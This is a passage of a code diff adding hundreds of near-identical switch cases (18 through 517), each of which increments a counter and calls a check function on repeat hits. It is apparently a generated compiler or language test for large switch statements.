+ case 18: if (n[18]++ > 0) check ('a string 18'); break;
+ case 19: if (n[19]++ > 0) check ('a string 19'); break;
+ case 20: if (n[20]++ > 0) check ('a string 20'); break;
+ case 21: if (n[21]++ > 0) check ('a string 21'); break;
+ case 22: if (n[22]++ > 0) check ('a string 22'); break;
+ case 23: if (n[23]++ > 0) check ('a string 23'); break;
+ case 24: if (n[24]++ > 0) check ('a string 24'); break;
+ case 25: if (n[25]++ > 0) check ('a string 25'); break;
+ case 26: if (n[26]++ > 0) check ('a string 26'); break;
+ case 27: if (n[27]++ > 0) check ('a string 27'); break;
+ case 28: if (n[28]++ > 0) check ('a string 28'); break;
+ case 29: if (n[29]++ > 0) check ('a string 29'); break;
+ case 30: if (n[30]++ > 0) check ('a string 30'); break;
+ case 31: if (n[31]++ > 0) check ('a string 31'); break;
+ case 32: if (n[32]++ > 0) check ('a string 32'); break;
+ case 33: if (n[33]++ > 0) check ('a string 33'); break;
+ case 34: if (n[34]++ > 0) check ('a string 34'); break;
+ case 35: if (n[35]++ > 0) check ('a string 35'); break;
+ case 36: if (n[36]++ > 0) check ('a string 36'); break;
+ case 37: if (n[37]++ > 0) check ('a string 37'); break;
+ case 38: if (n[38]++ > 0) check ('a string 38'); break;
+ case 39: if (n[39]++ > 0) check ('a string 39'); break;
+ case 40: if (n[40]++ > 0) check ('a string 40'); break;
+ case 41: if (n[41]++ > 0) check ('a string 41'); break;
+ case 42: if (n[42]++ > 0) check ('a string 42'); break;
+ case 43: if (n[43]++ > 0) check ('a string 43'); break;
+ case 44: if (n[44]++ > 0) check ('a string 44'); break;
+ case 45: if (n[45]++ > 0) check ('a string 45'); break;
+ case 46: if (n[46]++ > 0) check ('a string 46'); break;
+ case 47: if (n[47]++ > 0) check ('a string 47'); break;
+ case 48: if (n[48]++ > 0) check ('a string 48'); break;
+ case 49: if (n[49]++ > 0) check ('a string 49'); break;
+ case 50: if (n[50]++ > 0) check ('a string 50'); break;
+ case 51: if (n[51]++ > 0) check ('a string 51'); break;
+ case 52: if (n[52]++ > 0) check ('a string 52'); break;
+ case 53: if (n[53]++ > 0) check ('a string 53'); break;
+ case 54: if (n[54]++ > 0) check ('a string 54'); break;
+ case 55: if (n[55]++ > 0) check ('a string 55'); break;
+ case 56: if (n[56]++ > 0) check ('a string 56'); break;
+ case 57: if (n[57]++ > 0) check ('a string 57'); break;
+ case 58: if (n[58]++ > 0) check ('a string 58'); break;
+ case 59: if (n[59]++ > 0) check ('a string 59'); break;
+ case 60: if (n[60]++ > 0) check ('a string 60'); break;
+ case 61: if (n[61]++ > 0) check ('a string 61'); break;
+ case 62: if (n[62]++ > 0) check ('a string 62'); break;
+ case 63: if (n[63]++ > 0) check ('a string 63'); break;
+ case 64: if (n[64]++ > 0) check ('a string 64'); break;
+ case 65: if (n[65]++ > 0) check ('a string 65'); break;
+ case 66: if (n[66]++ > 0) check ('a string 66'); break;
+ case 67: if (n[67]++ > 0) check ('a string 67'); break;
+ case 68: if (n[68]++ > 0) check ('a string 68'); break;
+ case 69: if (n[69]++ > 0) check ('a string 69'); break;
+ case 70: if (n[70]++ > 0) check ('a string 70'); break;
+ case 71: if (n[71]++ > 0) check ('a string 71'); break;
+ case 72: if (n[72]++ > 0) check ('a string 72'); break;
+ case 73: if (n[73]++ > 0) check ('a string 73'); break;
+ case 74: if (n[74]++ > 0) check ('a string 74'); break;
+ case 75: if (n[75]++ > 0) check ('a string 75'); break;
+ case 76: if (n[76]++ > 0) check ('a string 76'); break;
+ case 77: if (n[77]++ > 0) check ('a string 77'); break;
+ case 78: if (n[78]++ > 0) check ('a string 78'); break;
+ case 79: if (n[79]++ > 0) check ('a string 79'); break;
+ case 80: if (n[80]++ > 0) check ('a string 80'); break;
+ case 81: if (n[81]++ > 0) check ('a string 81'); break;
+ case 82: if (n[82]++ > 0) check ('a string 82'); break;
+ case 83: if (n[83]++ > 0) check ('a string 83'); break;
+ case 84: if (n[84]++ > 0) check ('a string 84'); break;
+ case 85: if (n[85]++ > 0) check ('a string 85'); break;
+ case 86: if (n[86]++ > 0) check ('a string 86'); break;
+ case 87: if (n[87]++ > 0) check ('a string 87'); break;
+ case 88: if (n[88]++ > 0) check ('a string 88'); break;
+ case 89: if (n[89]++ > 0) check ('a string 89'); break;
+ case 90: if (n[90]++ > 0) check ('a string 90'); break;
+ case 91: if (n[91]++ > 0) check ('a string 91'); break;
+ case 92: if (n[92]++ > 0) check ('a string 92'); break;
+ case 93: if (n[93]++ > 0) check ('a string 93'); break;
+ case 94: if (n[94]++ > 0) check ('a string 94'); break;
+ case 95: if (n[95]++ > 0) check ('a string 95'); break;
+ case 96: if (n[96]++ > 0) check ('a string 96'); break;
+ case 97: if (n[97]++ > 0) check ('a string 97'); break;
+ case 98: if (n[98]++ > 0) check ('a string 98'); break;
+ case 99: if (n[99]++ > 0) check ('a string 99'); break;
+ case 100: if (n[100]++ > 0) check ('a string 100'); break;
+ case 101: if (n[101]++ > 0) check ('a string 101'); break;
+ case 102: if (n[102]++ > 0) check ('a string 102'); break;
+ case 103: if (n[103]++ > 0) check ('a string 103'); break;
+ case 104: if (n[104]++ > 0) check ('a string 104'); break;
+ case 105: if (n[105]++ > 0) check ('a string 105'); break;
+ case 106: if (n[106]++ > 0) check ('a string 106'); break;
+ case 107: if (n[107]++ > 0) check ('a string 107'); break;
+ case 108: if (n[108]++ > 0) check ('a string 108'); break;
+ case 109: if (n[109]++ > 0) check ('a string 109'); break;
+ case 110: if (n[110]++ > 0) check ('a string 110'); break;
+ case 111: if (n[111]++ > 0) check ('a string 111'); break;
+ case 112: if (n[112]++ > 0) check ('a string 112'); break;
+ case 113: if (n[113]++ > 0) check ('a string 113'); break;
+ case 114: if (n[114]++ > 0) check ('a string 114'); break;
+ case 115: if (n[115]++ > 0) check ('a string 115'); break;
+ case 116: if (n[116]++ > 0) check ('a string 116'); break;
+ case 117: if (n[117]++ > 0) check ('a string 117'); break;
+ case 118: if (n[118]++ > 0) check ('a string 118'); break;
+ case 119: if (n[119]++ > 0) check ('a string 119'); break;
+ case 120: if (n[120]++ > 0) check ('a string 120'); break;
+ case 121: if (n[121]++ > 0) check ('a string 121'); break;
+ case 122: if (n[122]++ > 0) check ('a string 122'); break;
+ case 123: if (n[123]++ > 0) check ('a string 123'); break;
+ case 124: if (n[124]++ > 0) check ('a string 124'); break;
+ case 125: if (n[125]++ > 0) check ('a string 125'); break;
+ case 126: if (n[126]++ > 0) check ('a string 126'); break;
+ case 127: if (n[127]++ > 0) check ('a string 127'); break;
+ case 128: if (n[128]++ > 0) check ('a string 128'); break;
+ case 129: if (n[129]++ > 0) check ('a string 129'); break;
+ case 130: if (n[130]++ > 0) check ('a string 130'); break;
+ case 131: if (n[131]++ > 0) check ('a string 131'); break;
+ case 132: if (n[132]++ > 0) check ('a string 132'); break;
+ case 133: if (n[133]++ > 0) check ('a string 133'); break;
+ case 134: if (n[134]++ > 0) check ('a string 134'); break;
+ case 135: if (n[135]++ > 0) check ('a string 135'); break;
+ case 136: if (n[136]++ > 0) check ('a string 136'); break;
+ case 137: if (n[137]++ > 0) check ('a string 137'); break;
+ case 138: if (n[138]++ > 0) check ('a string 138'); break;
+ case 139: if (n[139]++ > 0) check ('a string 139'); break;
+ case 140: if (n[140]++ > 0) check ('a string 140'); break;
+ case 141: if (n[141]++ > 0) check ('a string 141'); break;
+ case 142: if (n[142]++ > 0) check ('a string 142'); break;
+ case 143: if (n[143]++ > 0) check ('a string 143'); break;
+ case 144: if (n[144]++ > 0) check ('a string 144'); break;
+ case 145: if (n[145]++ > 0) check ('a string 145'); break;
+ case 146: if (n[146]++ > 0) check ('a string 146'); break;
+ case 147: if (n[147]++ > 0) check ('a string 147'); break;
+ case 148: if (n[148]++ > 0) check ('a string 148'); break;
+ case 149: if (n[149]++ > 0) check ('a string 149'); break;
+ case 150: if (n[150]++ > 0) check ('a string 150'); break;
+ case 151: if (n[151]++ > 0) check ('a string 151'); break;
+ case 152: if (n[152]++ > 0) check ('a string 152'); break;
+ case 153: if (n[153]++ > 0) check ('a string 153'); break;
+ case 154: if (n[154]++ > 0) check ('a string 154'); break;
+ case 155: if (n[155]++ > 0) check ('a string 155'); break;
+ case 156: if (n[156]++ > 0) check ('a string 156'); break;
+ case 157: if (n[157]++ > 0) check ('a string 157'); break;
+ case 158: if (n[158]++ > 0) check ('a string 158'); break;
+ case 159: if (n[159]++ > 0) check ('a string 159'); break;
+ case 160: if (n[160]++ > 0) check ('a string 160'); break;
+ case 161: if (n[161]++ > 0) check ('a string 161'); break;
+ case 162: if (n[162]++ > 0) check ('a string 162'); break;
+ case 163: if (n[163]++ > 0) check ('a string 163'); break;
+ case 164: if (n[164]++ > 0) check ('a string 164'); break;
+ case 165: if (n[165]++ > 0) check ('a string 165'); break;
+ case 166: if (n[166]++ > 0) check ('a string 166'); break;
+ case 167: if (n[167]++ > 0) check ('a string 167'); break;
+ case 168: if (n[168]++ > 0) check ('a string 168'); break;
+ case 169: if (n[169]++ > 0) check ('a string 169'); break;
+ case 170: if (n[170]++ > 0) check ('a string 170'); break;
+ case 171: if (n[171]++ > 0) check ('a string 171'); break;
+ case 172: if (n[172]++ > 0) check ('a string 172'); break;
+ case 173: if (n[173]++ > 0) check ('a string 173'); break;
+ case 174: if (n[174]++ > 0) check ('a string 174'); break;
+ case 175: if (n[175]++ > 0) check ('a string 175'); break;
+ case 176: if (n[176]++ > 0) check ('a string 176'); break;
+ case 177: if (n[177]++ > 0) check ('a string 177'); break;
+ case 178: if (n[178]++ > 0) check ('a string 178'); break;
+ case 179: if (n[179]++ > 0) check ('a string 179'); break;
+ case 180: if (n[180]++ > 0) check ('a string 180'); break;
+ case 181: if (n[181]++ > 0) check ('a string 181'); break;
+ case 182: if (n[182]++ > 0) check ('a string 182'); break;
+ case 183: if (n[183]++ > 0) check ('a string 183'); break;
+ case 184: if (n[184]++ > 0) check ('a string 184'); break;
+ case 185: if (n[185]++ > 0) check ('a string 185'); break;
+ case 186: if (n[186]++ > 0) check ('a string 186'); break;
+ case 187: if (n[187]++ > 0) check ('a string 187'); break;
+ case 188: if (n[188]++ > 0) check ('a string 188'); break;
+ case 189: if (n[189]++ > 0) check ('a string 189'); break;
+ case 190: if (n[190]++ > 0) check ('a string 190'); break;
+ case 191: if (n[191]++ > 0) check ('a string 191'); break;
+ case 192: if (n[192]++ > 0) check ('a string 192'); break;
+ case 193: if (n[193]++ > 0) check ('a string 193'); break;
+ case 194: if (n[194]++ > 0) check ('a string 194'); break;
+ case 195: if (n[195]++ > 0) check ('a string 195'); break;
+ case 196: if (n[196]++ > 0) check ('a string 196'); break;
+ case 197: if (n[197]++ > 0) check ('a string 197'); break;
+ case 198: if (n[198]++ > 0) check ('a string 198'); break;
+ case 199: if (n[199]++ > 0) check ('a string 199'); break;
+ case 200: if (n[200]++ > 0) check ('a string 200'); break;
+ case 201: if (n[201]++ > 0) check ('a string 201'); break;
+ case 202: if (n[202]++ > 0) check ('a string 202'); break;
+ case 203: if (n[203]++ > 0) check ('a string 203'); break;
+ case 204: if (n[204]++ > 0) check ('a string 204'); break;
+ case 205: if (n[205]++ > 0) check ('a string 205'); break;
+ case 206: if (n[206]++ > 0) check ('a string 206'); break;
+ case 207: if (n[207]++ > 0) check ('a string 207'); break;
+ case 208: if (n[208]++ > 0) check ('a string 208'); break;
+ case 209: if (n[209]++ > 0) check ('a string 209'); break;
+ case 210: if (n[210]++ > 0) check ('a string 210'); break;
+ case 211: if (n[211]++ > 0) check ('a string 211'); break;
+ case 212: if (n[212]++ > 0) check ('a string 212'); break;
+ case 213: if (n[213]++ > 0) check ('a string 213'); break;
+ case 214: if (n[214]++ > 0) check ('a string 214'); break;
+ case 215: if (n[215]++ > 0) check ('a string 215'); break;
+ case 216: if (n[216]++ > 0) check ('a string 216'); break;
+ case 217: if (n[217]++ > 0) check ('a string 217'); break;
+ case 218: if (n[218]++ > 0) check ('a string 218'); break;
+ case 219: if (n[219]++ > 0) check ('a string 219'); break;
+ case 220: if (n[220]++ > 0) check ('a string 220'); break;
+ case 221: if (n[221]++ > 0) check ('a string 221'); break;
+ case 222: if (n[222]++ > 0) check ('a string 222'); break;
+ case 223: if (n[223]++ > 0) check ('a string 223'); break;
+ case 224: if (n[224]++ > 0) check ('a string 224'); break;
+ case 225: if (n[225]++ > 0) check ('a string 225'); break;
+ case 226: if (n[226]++ > 0) check ('a string 226'); break;
+ case 227: if (n[227]++ > 0) check ('a string 227'); break;
+ case 228: if (n[228]++ > 0) check ('a string 228'); break;
+ case 229: if (n[229]++ > 0) check ('a string 229'); break;
+ case 230: if (n[230]++ > 0) check ('a string 230'); break;
+ case 231: if (n[231]++ > 0) check ('a string 231'); break;
+ case 232: if (n[232]++ > 0) check ('a string 232'); break;
+ case 233: if (n[233]++ > 0) check ('a string 233'); break;
+ case 234: if (n[234]++ > 0) check ('a string 234'); break;
+ case 235: if (n[235]++ > 0) check ('a string 235'); break;
+ case 236: if (n[236]++ > 0) check ('a string 236'); break;
+ case 237: if (n[237]++ > 0) check ('a string 237'); break;
+ case 238: if (n[238]++ > 0) check ('a string 238'); break;
+ case 239: if (n[239]++ > 0) check ('a string 239'); break;
+ case 240: if (n[240]++ > 0) check ('a string 240'); break;
+ case 241: if (n[241]++ > 0) check ('a string 241'); break;
+ case 242: if (n[242]++ > 0) check ('a string 242'); break;
+ case 243: if (n[243]++ > 0) check ('a string 243'); break;
+ case 244: if (n[244]++ > 0) check ('a string 244'); break;
+ case 245: if (n[245]++ > 0) check ('a string 245'); break;
+ case 246: if (n[246]++ > 0) check ('a string 246'); break;
+ case 247: if (n[247]++ > 0) check ('a string 247'); break;
+ case 248: if (n[248]++ > 0) check ('a string 248'); break;
+ case 249: if (n[249]++ > 0) check ('a string 249'); break;
+ case 250: if (n[250]++ > 0) check ('a string 250'); break;
+ case 251: if (n[251]++ > 0) check ('a string 251'); break;
+ case 252: if (n[252]++ > 0) check ('a string 252'); break;
+ case 253: if (n[253]++ > 0) check ('a string 253'); break;
+ case 254: if (n[254]++ > 0) check ('a string 254'); break;
+ case 255: if (n[255]++ > 0) check ('a string 255'); break;
+ case 256: if (n[256]++ > 0) check ('a string 256'); break;
+ case 257: if (n[257]++ > 0) check ('a string 257'); break;
+ case 258: if (n[258]++ > 0) check ('a string 258'); break;
+ case 259: if (n[259]++ > 0) check ('a string 259'); break;
+ case 260: if (n[260]++ > 0) check ('a string 260'); break;
+ case 261: if (n[261]++ > 0) check ('a string 261'); break;
+ case 262: if (n[262]++ > 0) check ('a string 262'); break;
+ case 263: if (n[263]++ > 0) check ('a string 263'); break;
+ case 264: if (n[264]++ > 0) check ('a string 264'); break;
+ case 265: if (n[265]++ > 0) check ('a string 265'); break;
+ case 266: if (n[266]++ > 0) check ('a string 266'); break;
+ case 267: if (n[267]++ > 0) check ('a string 267'); break;
+ case 268: if (n[268]++ > 0) check ('a string 268'); break;
+ case 269: if (n[269]++ > 0) check ('a string 269'); break;
+ case 270: if (n[270]++ > 0) check ('a string 270'); break;
+ case 271: if (n[271]++ > 0) check ('a string 271'); break;
+ case 272: if (n[272]++ > 0) check ('a string 272'); break;
+ case 273: if (n[273]++ > 0) check ('a string 273'); break;
+ case 274: if (n[274]++ > 0) check ('a string 274'); break;
+ case 275: if (n[275]++ > 0) check ('a string 275'); break;
+ case 276: if (n[276]++ > 0) check ('a string 276'); break;
+ case 277: if (n[277]++ > 0) check ('a string 277'); break;
+ case 278: if (n[278]++ > 0) check ('a string 278'); break;
+ case 279: if (n[279]++ > 0) check ('a string 279'); break;
+ case 280: if (n[280]++ > 0) check ('a string 280'); break;
+ case 281: if (n[281]++ > 0) check ('a string 281'); break;
+ case 282: if (n[282]++ > 0) check ('a string 282'); break;
+ case 283: if (n[283]++ > 0) check ('a string 283'); break;
+ case 284: if (n[284]++ > 0) check ('a string 284'); break;
+ case 285: if (n[285]++ > 0) check ('a string 285'); break;
+ case 286: if (n[286]++ > 0) check ('a string 286'); break;
+ case 287: if (n[287]++ > 0) check ('a string 287'); break;
+ case 288: if (n[288]++ > 0) check ('a string 288'); break;
+ case 289: if (n[289]++ > 0) check ('a string 289'); break;
+ case 290: if (n[290]++ > 0) check ('a string 290'); break;
+ case 291: if (n[291]++ > 0) check ('a string 291'); break;
+ case 292: if (n[292]++ > 0) check ('a string 292'); break;
+ case 293: if (n[293]++ > 0) check ('a string 293'); break;
+ case 294: if (n[294]++ > 0) check ('a string 294'); break;
+ case 295: if (n[295]++ > 0) check ('a string 295'); break;
+ case 296: if (n[296]++ > 0) check ('a string 296'); break;
+ case 297: if (n[297]++ > 0) check ('a string 297'); break;
+ case 298: if (n[298]++ > 0) check ('a string 298'); break;
+ case 299: if (n[299]++ > 0) check ('a string 299'); break;
+ case 300: if (n[300]++ > 0) check ('a string 300'); break;
+ case 301: if (n[301]++ > 0) check ('a string 301'); break;
+ case 302: if (n[302]++ > 0) check ('a string 302'); break;
+ case 303: if (n[303]++ > 0) check ('a string 303'); break;
+ case 304: if (n[304]++ > 0) check ('a string 304'); break;
+ case 305: if (n[305]++ > 0) check ('a string 305'); break;
+ case 306: if (n[306]++ > 0) check ('a string 306'); break;
+ case 307: if (n[307]++ > 0) check ('a string 307'); break;
+ case 308: if (n[308]++ > 0) check ('a string 308'); break;
+ case 309: if (n[309]++ > 0) check ('a string 309'); break;
+ case 310: if (n[310]++ > 0) check ('a string 310'); break;
+ case 311: if (n[311]++ > 0) check ('a string 311'); break;
+ case 312: if (n[312]++ > 0) check ('a string 312'); break;
+ case 313: if (n[313]++ > 0) check ('a string 313'); break;
+ case 314: if (n[314]++ > 0) check ('a string 314'); break;
+ case 315: if (n[315]++ > 0) check ('a string 315'); break;
+ case 316: if (n[316]++ > 0) check ('a string 316'); break;
+ case 317: if (n[317]++ > 0) check ('a string 317'); break;
+ case 318: if (n[318]++ > 0) check ('a string 318'); break;
+ case 319: if (n[319]++ > 0) check ('a string 319'); break;
+ case 320: if (n[320]++ > 0) check ('a string 320'); break;
+ case 321: if (n[321]++ > 0) check ('a string 321'); break;
+ case 322: if (n[322]++ > 0) check ('a string 322'); break;
+ case 323: if (n[323]++ > 0) check ('a string 323'); break;
+ case 324: if (n[324]++ > 0) check ('a string 324'); break;
+ case 325: if (n[325]++ > 0) check ('a string 325'); break;
+ case 326: if (n[326]++ > 0) check ('a string 326'); break;
+ case 327: if (n[327]++ > 0) check ('a string 327'); break;
+ case 328: if (n[328]++ > 0) check ('a string 328'); break;
+ case 329: if (n[329]++ > 0) check ('a string 329'); break;
+ case 330: if (n[330]++ > 0) check ('a string 330'); break;
+ case 331: if (n[331]++ > 0) check ('a string 331'); break;
+ case 332: if (n[332]++ > 0) check ('a string 332'); break;
+ case 333: if (n[333]++ > 0) check ('a string 333'); break;
+ case 334: if (n[334]++ > 0) check ('a string 334'); break;
+ case 335: if (n[335]++ > 0) check ('a string 335'); break;
+ case 336: if (n[336]++ > 0) check ('a string 336'); break;
+ case 337: if (n[337]++ > 0) check ('a string 337'); break;
+ case 338: if (n[338]++ > 0) check ('a string 338'); break;
+ case 339: if (n[339]++ > 0) check ('a string 339'); break;
+ case 340: if (n[340]++ > 0) check ('a string 340'); break;
+ case 341: if (n[341]++ > 0) check ('a string 341'); break;
+ case 342: if (n[342]++ > 0) check ('a string 342'); break;
+ case 343: if (n[343]++ > 0) check ('a string 343'); break;
+ case 344: if (n[344]++ > 0) check ('a string 344'); break;
+ case 345: if (n[345]++ > 0) check ('a string 345'); break;
+ case 346: if (n[346]++ > 0) check ('a string 346'); break;
+ case 347: if (n[347]++ > 0) check ('a string 347'); break;
+ case 348: if (n[348]++ > 0) check ('a string 348'); break;
+ case 349: if (n[349]++ > 0) check ('a string 349'); break;
+ case 350: if (n[350]++ > 0) check ('a string 350'); break;
+ case 351: if (n[351]++ > 0) check ('a string 351'); break;
+ case 352: if (n[352]++ > 0) check ('a string 352'); break;
+ case 353: if (n[353]++ > 0) check ('a string 353'); break;
+ case 354: if (n[354]++ > 0) check ('a string 354'); break;
+ case 355: if (n[355]++ > 0) check ('a string 355'); break;
+ case 356: if (n[356]++ > 0) check ('a string 356'); break;
+ case 357: if (n[357]++ > 0) check ('a string 357'); break;
+ case 358: if (n[358]++ > 0) check ('a string 358'); break;
+ case 359: if (n[359]++ > 0) check ('a string 359'); break;
+ case 360: if (n[360]++ > 0) check ('a string 360'); break;
+ case 361: if (n[361]++ > 0) check ('a string 361'); break;
+ case 362: if (n[362]++ > 0) check ('a string 362'); break;
+ case 363: if (n[363]++ > 0) check ('a string 363'); break;
+ case 364: if (n[364]++ > 0) check ('a string 364'); break;
+ case 365: if (n[365]++ > 0) check ('a string 365'); break;
+ case 366: if (n[366]++ > 0) check ('a string 366'); break;
+ case 367: if (n[367]++ > 0) check ('a string 367'); break;
+ case 368: if (n[368]++ > 0) check ('a string 368'); break;
+ case 369: if (n[369]++ > 0) check ('a string 369'); break;
+ case 370: if (n[370]++ > 0) check ('a string 370'); break;
+ case 371: if (n[371]++ > 0) check ('a string 371'); break;
+ case 372: if (n[372]++ > 0) check ('a string 372'); break;
+ case 373: if (n[373]++ > 0) check ('a string 373'); break;
+ case 374: if (n[374]++ > 0) check ('a string 374'); break;
+ case 375: if (n[375]++ > 0) check ('a string 375'); break;
+ case 376: if (n[376]++ > 0) check ('a string 376'); break;
+ case 377: if (n[377]++ > 0) check ('a string 377'); break;
+ case 378: if (n[378]++ > 0) check ('a string 378'); break;
+ case 379: if (n[379]++ > 0) check ('a string 379'); break;
+ case 380: if (n[380]++ > 0) check ('a string 380'); break;
+ case 381: if (n[381]++ > 0) check ('a string 381'); break;
+ case 382: if (n[382]++ > 0) check ('a string 382'); break;
+ case 383: if (n[383]++ > 0) check ('a string 383'); break;
+ case 384: if (n[384]++ > 0) check ('a string 384'); break;
+ case 385: if (n[385]++ > 0) check ('a string 385'); break;
+ case 386: if (n[386]++ > 0) check ('a string 386'); break;
+ case 387: if (n[387]++ > 0) check ('a string 387'); break;
+ case 388: if (n[388]++ > 0) check ('a string 388'); break;
+ case 389: if (n[389]++ > 0) check ('a string 389'); break;
+ case 390: if (n[390]++ > 0) check ('a string 390'); break;
+ case 391: if (n[391]++ > 0) check ('a string 391'); break;
+ case 392: if (n[392]++ > 0) check ('a string 392'); break;
+ case 393: if (n[393]++ > 0) check ('a string 393'); break;
+ case 394: if (n[394]++ > 0) check ('a string 394'); break;
+ case 395: if (n[395]++ > 0) check ('a string 395'); break;
+ case 396: if (n[396]++ > 0) check ('a string 396'); break;
+ case 397: if (n[397]++ > 0) check ('a string 397'); break;
+ case 398: if (n[398]++ > 0) check ('a string 398'); break;
+ case 399: if (n[399]++ > 0) check ('a string 399'); break;
+ case 400: if (n[400]++ > 0) check ('a string 400'); break;
+ case 401: if (n[401]++ > 0) check ('a string 401'); break;
+ case 402: if (n[402]++ > 0) check ('a string 402'); break;
+ case 403: if (n[403]++ > 0) check ('a string 403'); break;
+ case 404: if (n[404]++ > 0) check ('a string 404'); break;
+ case 405: if (n[405]++ > 0) check ('a string 405'); break;
+ case 406: if (n[406]++ > 0) check ('a string 406'); break;
+ case 407: if (n[407]++ > 0) check ('a string 407'); break;
+ case 408: if (n[408]++ > 0) check ('a string 408'); break;
+ case 409: if (n[409]++ > 0) check ('a string 409'); break;
+ case 410: if (n[410]++ > 0) check ('a string 410'); break;
+ case 411: if (n[411]++ > 0) check ('a string 411'); break;
+ case 412: if (n[412]++ > 0) check ('a string 412'); break;
+ case 413: if (n[413]++ > 0) check ('a string 413'); break;
+ case 414: if (n[414]++ > 0) check ('a string 414'); break;
+ case 415: if (n[415]++ > 0) check ('a string 415'); break;
+ case 416: if (n[416]++ > 0) check ('a string 416'); break;
+ case 417: if (n[417]++ > 0) check ('a string 417'); break;
+ case 418: if (n[418]++ > 0) check ('a string 418'); break;
+ case 419: if (n[419]++ > 0) check ('a string 419'); break;
+ case 420: if (n[420]++ > 0) check ('a string 420'); break;
+ case 421: if (n[421]++ > 0) check ('a string 421'); break;
+ case 422: if (n[422]++ > 0) check ('a string 422'); break;
+ case 423: if (n[423]++ > 0) check ('a string 423'); break;
+ case 424: if (n[424]++ > 0) check ('a string 424'); break;
+ case 425: if (n[425]++ > 0) check ('a string 425'); break;
+ case 426: if (n[426]++ > 0) check ('a string 426'); break;
+ case 427: if (n[427]++ > 0) check ('a string 427'); break;
+ case 428: if (n[428]++ > 0) check ('a string 428'); break;
+ case 429: if (n[429]++ > 0) check ('a string 429'); break;
+ case 430: if (n[430]++ > 0) check ('a string 430'); break;
+ case 431: if (n[431]++ > 0) check ('a string 431'); break;
+ case 432: if (n[432]++ > 0) check ('a string 432'); break;
+ case 433: if (n[433]++ > 0) check ('a string 433'); break;
+ case 434: if (n[434]++ > 0) check ('a string 434'); break;
+ case 435: if (n[435]++ > 0) check ('a string 435'); break;
+ case 436: if (n[436]++ > 0) check ('a string 436'); break;
+ case 437: if (n[437]++ > 0) check ('a string 437'); break;
+ case 438: if (n[438]++ > 0) check ('a string 438'); break;
+ case 439: if (n[439]++ > 0) check ('a string 439'); break;
+ case 440: if (n[440]++ > 0) check ('a string 440'); break;
+ case 441: if (n[441]++ > 0) check ('a string 441'); break;
+ case 442: if (n[442]++ > 0) check ('a string 442'); break;
+ case 443: if (n[443]++ > 0) check ('a string 443'); break;
+ case 444: if (n[444]++ > 0) check ('a string 444'); break;
+ case 445: if (n[445]++ > 0) check ('a string 445'); break;
+ case 446: if (n[446]++ > 0) check ('a string 446'); break;
+ case 447: if (n[447]++ > 0) check ('a string 447'); break;
+ case 448: if (n[448]++ > 0) check ('a string 448'); break;
+ case 449: if (n[449]++ > 0) check ('a string 449'); break;
+ case 450: if (n[450]++ > 0) check ('a string 450'); break;
+ case 451: if (n[451]++ > 0) check ('a string 451'); break;
+ case 452: if (n[452]++ > 0) check ('a string 452'); break;
+ case 453: if (n[453]++ > 0) check ('a string 453'); break;
+ case 454: if (n[454]++ > 0) check ('a string 454'); break;
+ case 455: if (n[455]++ > 0) check ('a string 455'); break;
+ case 456: if (n[456]++ > 0) check ('a string 456'); break;
+ case 457: if (n[457]++ > 0) check ('a string 457'); break;
+ case 458: if (n[458]++ > 0) check ('a string 458'); break;
+ case 459: if (n[459]++ > 0) check ('a string 459'); break;
+ case 460: if (n[460]++ > 0) check ('a string 460'); break;
+ case 461: if (n[461]++ > 0) check ('a string 461'); break;
+ case 462: if (n[462]++ > 0) check ('a string 462'); break;
+ case 463: if (n[463]++ > 0) check ('a string 463'); break;
+ case 464: if (n[464]++ > 0) check ('a string 464'); break;
+ case 465: if (n[465]++ > 0) check ('a string 465'); break;
+ case 466: if (n[466]++ > 0) check ('a string 466'); break;
+ case 467: if (n[467]++ > 0) check ('a string 467'); break;
+ case 468: if (n[468]++ > 0) check ('a string 468'); break;
+ case 469: if (n[469]++ > 0) check ('a string 469'); break;
+ case 470: if (n[470]++ > 0) check ('a string 470'); break;
+ case 471: if (n[471]++ > 0) check ('a string 471'); break;
+ case 472: if (n[472]++ > 0) check ('a string 472'); break;
+ case 473: if (n[473]++ > 0) check ('a string 473'); break;
+ case 474: if (n[474]++ > 0) check ('a string 474'); break;
+ case 475: if (n[475]++ > 0) check ('a string 475'); break;
+ case 476: if (n[476]++ > 0) check ('a string 476'); break;
+ case 477: if (n[477]++ > 0) check ('a string 477'); break;
+ case 478: if (n[478]++ > 0) check ('a string 478'); break;
+ case 479: if (n[479]++ > 0) check ('a string 479'); break;
+ case 480: if (n[480]++ > 0) check ('a string 480'); break;
+ case 481: if (n[481]++ > 0) check ('a string 481'); break;
+ case 482: if (n[482]++ > 0) check ('a string 482'); break;
+ case 483: if (n[483]++ > 0) check ('a string 483'); break;
+ case 484: if (n[484]++ > 0) check ('a string 484'); break;
+ case 485: if (n[485]++ > 0) check ('a string 485'); break;
+ case 486: if (n[486]++ > 0) check ('a string 486'); break;
+ case 487: if (n[487]++ > 0) check ('a string 487'); break;
+ case 488: if (n[488]++ > 0) check ('a string 488'); break;
+ case 489: if (n[489]++ > 0) check ('a string 489'); break;
+ case 490: if (n[490]++ > 0) check ('a string 490'); break;
+ case 491: if (n[491]++ > 0) check ('a string 491'); break;
+ case 492: if (n[492]++ > 0) check ('a string 492'); break;
+ case 493: if (n[493]++ > 0) check ('a string 493'); break;
+ case 494: if (n[494]++ > 0) check ('a string 494'); break;
+ case 495: if (n[495]++ > 0) check ('a string 495'); break;
+ case 496: if (n[496]++ > 0) check ('a string 496'); break;
+ case 497: if (n[497]++ > 0) check ('a string 497'); break;
+ case 498: if (n[498]++ > 0) check ('a string 498'); break;
+ case 499: if (n[499]++ > 0) check ('a string 499'); break;
+ case 500: if (n[500]++ > 0) check ('a string 500'); break;
+ case 501: if (n[501]++ > 0) check ('a string 501'); break;
+ case 502: if (n[502]++ > 0) check ('a string 502'); break;
+ case 503: if (n[503]++ > 0) check ('a string 503'); break;
+ case 504: if (n[504]++ > 0) check ('a string 504'); break;
+ case 505: if (n[505]++ > 0) check ('a string 505'); break;
+ case 506: if (n[506]++ > 0) check ('a string 506'); break;
+ case 507: if (n[507]++ > 0) check ('a string 507'); break;
+ case 508: if (n[508]++ > 0) check ('a string 508'); break;
+ case 509: if (n[509]++ > 0) check ('a string 509'); break;
+ case 510: if (n[510]++ > 0) check ('a string 510'); break;
+ case 511: if (n[511]++ > 0) check ('a string 511'); break;
+ case 512: if (n[512]++ > 0) check ('a string 512'); break;
+ case 513: if (n[513]++ > 0) check ('a string 513'); break;
+ case 514: if (n[514]++ > 0) check ('a string 514'); break;
+ case 515: if (n[515]++ > 0) check ('a string 515'); break;
+ case 516: if (n[516]++ > 0) check ('a string 516'); break;
+ case 517: if (n[517]++ > 0) check ('a string 517'); break;
